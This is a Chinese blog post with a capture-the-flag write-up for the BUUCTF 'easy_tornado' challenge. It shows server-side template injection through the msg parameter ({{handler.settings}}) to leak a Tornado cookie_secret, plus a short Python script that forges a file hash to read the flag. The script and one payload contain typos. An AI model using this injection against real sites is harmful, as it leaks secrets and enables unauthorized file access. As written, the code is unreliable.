zoukankan      html  css  js  c++  java
  • BUUCTF-[护网杯 2018]easy_tornado 1

    时隔多天,刷了一些web题之后,再回来看着到easy_tornado 1这道题,刚开始也是惧怕用代码跑flag吧。下面我们回归正题

    首先,打开题目里面有三个链接

     里面得代码也给贴上吧

    /flag.txt
    flag in /fllllllllllllag
    
    
    /welcome.txt
    render
    
    
    /hints.txt
    md5(cookie_secret+md5(filename))
    

      简单看了下这些东西,发现flag在/fllllllllllllag这个文件里面,后面有个render发现这提示我们是一个模板注入,然后需要拼接cookie_secret+md5(filename))并将其转成md5值

    百度了render可知,render是python的一个渲染函数,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。

    然后拼接url才能获得flag

    到这里,我们首要任务时找到这个cookie_secret值,那我们怎么找呢?

    存在msg参数,百度之后发现师傅们可以进行模块注入。尝试了error?msg={{1}},发现的确存在模块注入。然后我们尝试用+-*/发现都报错,应该是被过滤了。

    而我们查官方文档,tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类

    RequestHandler.settings又指向self.application.settings

    所以我们可以说handler.settings指向了RequestHandler.settings了,对吧

    这样我们就可以构造一下payload:?msg{handler.settings}

    于是获得cookie_secret:

     得到cookie_secret下一步就轻松多了,于是我们写个exp跑一下

    import hashlib
    cookie='0ff0d682-6a1e-4f11-bf15-7523afa0cd73'
    file_filename='/fllllllllllllag'
    md5_filename=hashlib.md5(filename.encode(encoding='UTF-8)).hexdigest()
    word=cookie+md5_filename
    flag=hashlib.md5(word.encode(encoding='UTF-8)).hexdigest()
    print(flag)
    

      于是得到filename得hash值28102f0eea51aff93634e7fcd8982610

    然后拼接url :http://efde2a0f-b219-4791-b407-c83437ac20ce.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=28102f0eea51aff93634e7fcd8982610就得到了flag

    flag{8b7b6c91-b690-40f4-bf47-52d22bfcb506}

  • 相关阅读:
    MySQL_基础_TCL事务控制语言
    MySQL_基础_DDL数据定义语言
    MySQL_基础_DQL数据查询语言
    MySQL_基础_DML数据操纵语言
    MySQL_基础_存储过程和函数
    MySQL_基础_变量
    linux 常用命令
    灵活QinQ示例
    RRPP 演示实例
    ERPS实例演示
  • 原文地址:https://www.cnblogs.com/junlebao/p/13819357.html
Copyright © 2011-2022 走看看